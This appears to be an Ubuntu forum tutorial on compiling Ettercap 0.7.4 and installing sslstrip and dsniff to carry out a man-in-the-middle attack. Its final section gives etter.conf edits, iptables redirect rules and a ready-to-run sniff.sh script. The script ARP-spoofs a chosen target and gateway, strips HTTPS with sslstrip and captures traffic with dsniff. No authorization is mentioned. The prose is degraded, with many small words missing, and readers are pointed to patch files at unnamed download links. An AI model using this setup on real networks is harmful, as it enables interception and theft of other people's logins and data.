Thread: Ubuntu 12 - Ettercap 0.7.4 (compilation) + sslstrip + dsniff +configuration Tutorial

hi guys

spent day compiling new ettercap, installing sslstrip , dsniff in ubuntu 12. because in no way easy compiling ettercap part decided write tutorial , share how this. heres we'll do.

1. compile ettercap 0.7.4
2. installing sslstrip, dsniff
3. configure successfull mitm
--> etter.conf ...


1. how compile ettercap 0.7.4
guys post on forum - http://ubuntuforums.org/showthread.php?t=1943365 - able compile ettercap on ubuntu 12. sure follow step step or you'll fail. believe me i've tried

part 1.

sudo apt-get install build-essential
sudo apt-get install linux-headers-`uname -r`

part 2. installing libraries

sudo apt-get install libpcre3-dev
sudo apt-get install libpcap0.8-dev
sudo apt-get install libnet1-dev
sudo apt-get install openssl
sudo apt-get install libssl-dev
sudo apt-get install ncurses-bin
sudo apt-get install libncurses5-dev
sudo apt-get install libnet6-1.3-dev
sudo apt-get install libpthread-stubs0-dev
sudo apt-get install zlib1g-dev
sudo apt-get install libltdl-dev
sudo apt-get install pango-graphite
sudo apt-get install pkg-config
sudo apt-get install libpango1.0-dev
sudo apt-get install libatk1.0-dev
sudo apt-get install libgtk2.0-dev

part 3. extras

sudo apt-get install autoconf
sudo apt-get install byacc

part 4. patch

https://docs.google.com/file/d/0b5pf...mzme0mjdl/edit

(to download when open page go left corner, click on file , download.)

downloaded ettercap main dir. if haven't - should copy patch file in ettercap main directory.

part 5. apply patch

ettercap folder is/was on desktop when opened terminal navigate desktop.
ettercap folder.

type in terminal:

patch -p1 < ettercap-0.7.4-autotools.patch

part 6.

after patching done type can continue this:

./autogen.sh

in terminal window should see this:

libtoolize: copying file `libltdl/lt_dlloader.c'
libtoolize: copying file `libltdl/lt_error.c'
libtoolize: copying file `libltdl/ltdl.c'
libtoolize: copying file `libltdl/ltdl.h'
libtoolize: copying file `libltdl/slist.c'
libtoolize: remember add `lt_config_ltdl_dir([libltdl])' `configure.in'.
libtoolize: consider using `ac_config_aux_dir([libltdl/config])' in configure.in.
libtoolize: consider using `ac_config_macro_dir([libltdl/m4])' in configure.in.
libtoolize: consider adding `-i m4' aclocal_amflags in makefile.am.
running aclocal
running autoheader
running autoconf
running automake


part 7. configure

in guide shown this:

./configure --enable-plugins --enable-debug

used this:

./configure --enable-plugins --enable-debug --enable-gtk

these settings install dir : /usr/local

when configuration done see or :

libraries :

libpcap ................ default
libnet ................. default
libssl ................. default
ncurses ................ default
gtk+ ................... yes

functionalities :

debug mode ............. yes
plugin support ......... yes
passive dns ............ yes
perl regex in filters .. yes
iconv utf-8 support .... yes

part 8. fixing line

important part me. wanted have gtk (graphic interface) had problem making of install unable read unable install ettercap gtk.

here salvation.

in terminal considering ettercap main directory, type this:

cd src/
sudo gedit makefile

text redactor appear , need find line:

libs = -lresolv -lz -lpthread -lltdl -ldl -ldl

using search function example , change this:

libs = -lresolv -lz -lpthread -lltdl -ldl -ldl -lpcap -lnet -lssl -lcrypto -lpcre -lpanel -lmenu -lform -lncurses -pthread -lgtk-x11-2.0 -lgdk-x11-2.0 -lgio-2.0 -lpangoft2-1.0 -lpangocairo-1.0 -lgdk_pixbuf-2.0 -lcairo -lfreetype -lfontconfig -lpango-1.0 -lgmodule-2.0 -latk-1.0 -lgobject-2.0 -lgthread-2.0 -lrt -lglib-2.0 -lgthread-2.0

, save file.

note: can use favorite text redactor sure point here using sudo command open because makefile locked non-sudo usage.

part 9. ef_syntax.c file

if reasons missing "ef_syntax.c" file "utils/etterfilter/" can download here : https://docs.google.com/file/d/0b5pf...1mtk0nzyw/edit
, put in place.

part 10. "make" , "make install"

in terminal navigate ettercap directory , type following commands:

make

if don't errors till end of "making" (as should be), type next command terminal:

sudo make install

after finishing should have working ettercap gtk!

type in terminal: ettercap -g

2. install dsniff, sslstrip
if you've made part , compiled ettercap hard part over. let's easy stuff:
sudo apt-get -y install sslstrip dsniff

3. configure successfull mitm
3.1 editing etter.conf
open /usr/local/etc/etter.conf (/etc/etterc.conf old ettercap) in favourite text editor.

search following lines , uncomment them

before:
#ec_uid = 0 # nobody default
#ec_gid = 0 # nobody default

after:
ec_uid = 0 # nobody default
ec_gid = 0 # nobody default

, here's nice know (skip if you're not interested):
you'll read on many forums should uncomment following lines in etter.conf various reasons:

# if use iptables:
#redir_command_on = "iptables -t nat -a prerouting -i %iface -p tcp --dport %port -j redirect --to-port %rport"
#redir_command_off = "iptables -t nat -d prerouting -i %iface -p tcp --dport %port -j redirect --to-port %rport"

in fact 2 lines need uncommented if want ettercap use fake ssl-certificates. since use sslstrip not need fake ssl-certificates , hence not uncomment lines. if not make sense go sslstrip official page , read does.

in case need fake ssl certificates reason uncomment lines turn off sslstrip.

3.2 dsniff, arpspoof
ones left dsniff , arpspoof. you're lucky. wrote simple shellscript rest of work.

usage: sniff.sh <targetip> <gateway>

code:

#!/bin/bash    echo "1" > /proc/sys/net/ipv4/ip_forward  iptables -t nat -a prerouting -p tcp --destination-port 80 -j redirect --to-port 10000  arpspoof -i wlan0 $2 $1  xterm -geometry 80x10+900+2 -e 'dsniff -i wlan0' &  xterm -geometry 80x10+900+180 -e 'sslstrip -a -l 10000 wlan0' &  ettercap -m ettercap.log -t -q -m arp:remote -i wlan0 /$2/ /$1/

i know script far perfect or can use template build own. should idea. feel free edit script , post here.

maybe useful out there.

happy hacking

Forum The Ubuntu Forum Community Ubuntu Official Flavours Support General Help [ubuntu] Ubuntu 12 - Ettercap 0.7.4 (compilation) + sslstrip + dsniff +configuration Tutorial

Ubuntu